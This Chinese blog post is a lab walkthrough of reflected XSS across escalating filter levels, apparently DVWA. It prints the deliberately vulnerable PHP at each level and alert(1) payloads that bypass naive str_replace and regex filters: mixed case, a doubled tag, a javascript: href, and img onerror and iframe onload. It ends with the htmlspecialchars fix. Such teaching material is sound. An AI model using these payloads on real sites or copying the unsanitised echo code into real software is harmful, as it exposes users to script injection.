跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
反射型XSS攻击需要具备以下条件:
php<?php
header ("X-XSS-Protection: 0");
// arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名
//并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
服务器只是判断了 name 参数是否为空,如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查。
(1)直接使用 <script>alert(1)</script>
进行尝试
php<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//将输入中的<script>替换为空字符串
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
(1)使用了str_replace
检查 name
参数中是否有 < script >
,如果有则替换为空,也就是说过滤掉了<script>
这个标签。但是str_replace
是区分大小写的,因此可以使用大小写绕过。
js<sCript>alert(1)</ScRipt>
(2)除了使用大小写绕过,还可以使用双写绕过
js<sc<script>ript>alert(1)</script>
(3)还可以使用一种"奇淫巧计"
js<a href="javascript:alert(1)">is</a>
php<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
preg_replace()
函数执行一个正则表达式的搜索和替换,*
代表一个或多个任意字符,i
代表不区分大小写。也就是说 < script >
标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body
等标签的事件或者iframe
等标签的 src
注入JS
攻击脚本。
js<img src = 1 onerror = alert(1)>
<iframe onload="alert(1)"></iframe>
php<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
$html .= '<pre>';
$html .= 'Hello ' . htmlspecialchars($_GET['name']);
$html .= '</pre>';
}
根据@Fgaoxing想出的url转义,使用%3cscript%3ealert(1)%3c/script%3e
依然无法绕过
最新版本使用了一个替换<
>
的函数,目前无解
本文作者:Casear
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!